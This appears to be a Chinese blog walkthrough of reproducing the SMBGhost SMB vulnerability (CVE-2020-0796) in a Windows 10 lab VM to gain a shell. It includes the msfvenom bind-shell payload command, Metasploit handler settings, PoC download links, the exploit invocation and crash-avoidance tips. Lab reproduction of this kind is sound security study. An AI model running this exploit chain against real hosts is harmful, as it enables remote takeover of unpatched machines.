CVE-2020-0796漏洞复现拿到目标shell权限(附POC)-报错解决-爬坑记录-绕坑必看-永恒之黑复现-win10漏洞

本实验仅供学习参考,请勿非法利用!

前言

最近终于成功的复现了下之前比较火的“永恒之黑”,最近正好无意间找到了获取目标Shell的POC。坑点较多(各种报错+蓝屏),本次记录主要是为正在“爬坑”的同学做些参考,照着我的步骤一定能复现拿到SHELL,希望对您有所帮助。末尾有避坑说明~
报错:failed to find PML4 self reference entry!
报错:physical read primitive failed!
蓝屏代码:srvnet.sys

漏洞描述

2020年3月,微软公布SMB远程代码执行漏洞(CVE-2020-0796)又称“永恒之黑”,该漏洞由SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
• 漏洞名称:SMB远程代码执行漏洞、永恒之黑、SMBGhost
• 漏洞编号:CVE-2020-0796
• 漏洞危害等级:高
• 影响平台:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

漏洞分析

SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
参考:https://www.freebuf.com/vuls/233263.html

漏洞复现

环境搭建

系统镜像:

ed2k://|file|cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso|4905476096|F28FDC23DA34D55BA466BFD6E91DD311|/

检测工具:
https://pan.baidu.com/s/1U4CHnUhgf1KN3JhCjLbGhw 提取码:b2pd

POC:
https://pan.baidu.com/s/18E5q1S33d-Fw8M6GRkZzfw 提取码:xrnw

Kali镜像:
https://pan.baidu.com/s/1eh4kXRnS7aQSCggRH6UKBQ 提取码:h2x1

1)使用下载好的ISO镜像搭建Win 10环境。内存一定给大一些!
我这里内存调到了8G,最后调网网络,网卡先不加

2)选择下载好的ISO镜像
在这里插入图片描述
3)开始安装
在这里插入图片描述
4)填写激活码
W269N-WFGWX-YVC9B-4J6C9-T83GX
在这里插入图片描述
5)下一步,选择分区后下一步继续安装
在这里插入图片描述
6)继续下一步安装,点击我没有INTERNET连接
在这里插入图片描述
7)到这步点击否
在这里插入图片描述
8)点击接受
在这里插入图片描述
9)安装完成进入操作系统,打开文件资源管理器,右键此电脑点击管理,进入本地用户和组,解开Administrator用户并设置密码
在这里插入图片描述在这里插入图片描述
10)切换administrator用户,点击接受完成设置。
在这里插入图片描述
打开Windwos设置,点击更新和安全,点击暂停更新,多点几下延长暂停更新时间。停止Windows Update服务并禁用。
在这里插入图片描述
在这里插入图片描述
点击Windows安全中心,关闭所有防火墙和网络保护如下状态。
在这里插入图片描述
11)添加网卡,设置为VMnet1
在这里插入图片描述
12)建议关闭宿主机杀毒管家、网络流量管家等防护工具,关闭防火墙

获取权限

1)打开kali,放入SMBGhost_RCE_PoC-master.zip到/root下,解压
在这里插入图片描述
2)首先使用msfvenom生成一个python类型的shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python

在这里插入图片描述
3)将输出的内容复制,拷贝到exploit.py中,剪切替换原先的USER_PAYLOAD部分,

在这里插入图片描述
4)将buf = b替换为USER_PAYLOAD。注意不要出错,替换后保存
在这里插入图片描述
5)msfconsole开启监听端口

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4444
set rhost 192.168.0.150  (Win10地址)
run

在这里插入图片描述
6)重点来了
先执行 chmod +x exploit
再执行python3 exploit.py -ip 192.168.0.150
(一定要使用python3,使用默认python会100%蓝屏)
在这里插入图片描述

提示:press a key to execute shellcode!这时候回车
在这里插入图片描述
回车后,到这里就完成了。
在这里插入图片描述
再次查看监听窗口。没有提示?然后我就先Ctrl + C 退出,再重新run ,提示有session连接,meterpreter的会话窗口就自己跳出来了。
在这里插入图片描述
执行shell,回车,输入ipconfig,可以看到是192.168.0.150。嗯,到这里就成功拿到shell了。
在这里插入图片描述

避坑说明

不成功和内存大小也有关系,Win10的内存一定不要太小,我这里给到8G。
必须使用python3执行,如果python有问题的话,可以参考下载我的kali镜像,自己下一个。
如果使用默认Python2 会蓝屏。
如果提示physical read primitive failed!,在监听端Ctrl + C 退出再重新run一遍,再执行python3 exploit.py -ip 192.168.0.150
在这里插入图片描述
本实验仅供学习参考,请勿非法利用!

  • 8
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值